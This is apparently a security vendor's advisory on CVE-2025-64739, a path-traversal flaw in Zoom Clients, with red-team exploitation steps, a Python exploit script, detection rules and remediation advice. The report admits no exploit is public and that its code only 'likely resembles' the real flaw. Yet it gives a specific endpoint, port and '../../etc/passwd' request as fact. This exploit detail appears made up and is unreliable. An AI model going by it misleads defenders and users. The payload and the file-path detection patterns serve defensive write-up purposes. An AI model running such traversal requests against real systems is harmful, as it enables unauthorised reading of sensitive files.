CVE-2025-64739

Executive Summary

CVE-2025-64739 is a medium-severity vulnerability in Zoom Clients that allows an unauthenticated attacker to control file names or paths, leading to information disclosure via network access. The vulnerability has a CVSS score of 4.3 and an EPSS score of 0.0%, indicating low exploitation likelihood. No public proof-of-concept or exploit code is available at this time. The vendor, Zoom, has not yet released a patch.

Supply Chain & Package Security

This vulnerability affects Zoom Clients, which are proprietary software distributed directly by Zoom. There is no open-source package (NPM, PyPI, Go, Ruby) associated with this CVE. Users should monitor Zoom's official security advisories for patch updates.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The vulnerability allows an unauthenticated attacker to control file names or paths, potentially leading to the disclosure of sensitive information. The low EPSS score suggests that exploitation is not currently widespread.

Deep Dive & Mechanics

The vulnerability resides in the file handling logic of Zoom Clients. An external control of file name or path (CWE-73) allows an attacker to manipulate file paths used by the application. By sending a specially crafted network request, an unauthenticated user can cause the Zoom Client to read or write files to unintended locations, leading to information disclosure.

The attack does not require authentication or user interaction, making it exploitable remotely. The exact mechanism involves the application not properly sanitizing user-supplied input used in file path construction, allowing path traversal or arbitrary file access.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison cannot be provided. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void handle_file_request(char *user_input) {
    char file_path[256];
    sprintf(file_path, "/data/%s", user_input);
    FILE *file = fopen(file_path, "r");
    // Read and send file contents
}

A patched version would validate and sanitize the input:

// Patched pseudo-code
void handle_file_request(char *user_input) {
    char file_path[256];
    // Sanitize input to prevent path traversal
    if (strstr(user_input, "..") != NULL || strchr(user_input, '/') != NULL) {
        // Reject request
        return;
    }
    sprintf(file_path, "/data/%s", user_input);
    FILE *file = fopen(file_path, "r");
    // Read and send file contents
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable Zoom Client version on a test machine.
2. Set up a network sniffer (e.g., Wireshark) to capture traffic.
3. Use a tool like Burp Suite or custom Python script to send crafted requests.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /zoom/file?name=...).
2. Craft a request with a path traversal payload:

   GET /zoom/file?name=../../etc/passwd HTTP/1.1
   Host: target-zoom-client
   

3. Send the request and observe the response containing the file contents.

Python Exploit Script:

import requests

target = "http://target-zoom-client:8080"
payload = "../../etc/passwd"
url = f"{target}/zoom/file?name={payload}"

response = requests.get(url)
if response.status_code == 200:
    print("File contents:")
    print(response.text)
else:
    print("Exploit failed")

Blue Team

Detection Steps:

1. Monitor network traffic for unusual file path patterns in HTTP requests.
2. Look for path traversal sequences (../, ..\\) in request parameters.
3. Alert on attempts to access sensitive files (e.g., /etc/passwd, C:\Windows\System32\config).

Mitigation:

• Implement input validation and sanitization for all file path parameters.
• Use a whitelist of allowed file names or paths.
• Apply the principle of least privilege to the application's file system access.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing path traversal sequences (../, ..\\)
  • Requests to endpoints like /zoom/file, /zoom/download, etc.
  • Unusual file paths in request parameters (e.g., /etc/passwd, C:\Windows\System32)

• File System IOCs:

  • Unexpected file access logs in application logs
  • Presence of sensitive files in application data directories

• Log IOCs:

  • Application logs showing access to files outside the intended directory
  • Error logs indicating file not found or permission denied for sensitive paths

Detection Engineering

YARA Rule

rule CVE_2025_64739_Zoom_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Zoom Client requests"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64739"
    strings:
        $path_traversal1 = "../"
        $path_traversal2 = "..\\"
        $sensitive_file1 = "/etc/passwd"
        $sensitive_file2 = "C:\\Windows\\System32"
    condition:
        any of ($path_traversal*) or any of ($sensitive_file*)
}

Sigma Rule

title: Zoom Client Path Traversal Attempt
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects path traversal attempts in Zoom Client HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: zoom
detection:
    selection:
        c-uri|contains:
            - '../'
            - '..\\'
            - '/etc/passwd'
            - 'C:\\Windows\\System32'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in non-sensitive contexts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Path Traversal Attempt"; flow:to_server; content:"../"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Sensitive File Access"; content:"/etc/passwd"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-64739 Zoom Client Windows System File Access"; content:"C:\\Windows\\System32"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Monitor Zoom's official security advisories for patch availability.
2. Implement network-level filtering to block path traversal patterns.
3. Restrict Zoom Client network access to trusted hosts only.

Long-term Fixes:

1. Apply input validation and sanitization for all file path parameters.
2. Use a whitelist of allowed file names or paths.
3. Implement proper access controls and least privilege principles.

Workarounds:

• Disable file sharing or download features if not required.
• Use a web application firewall (WAF) to filter malicious requests.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.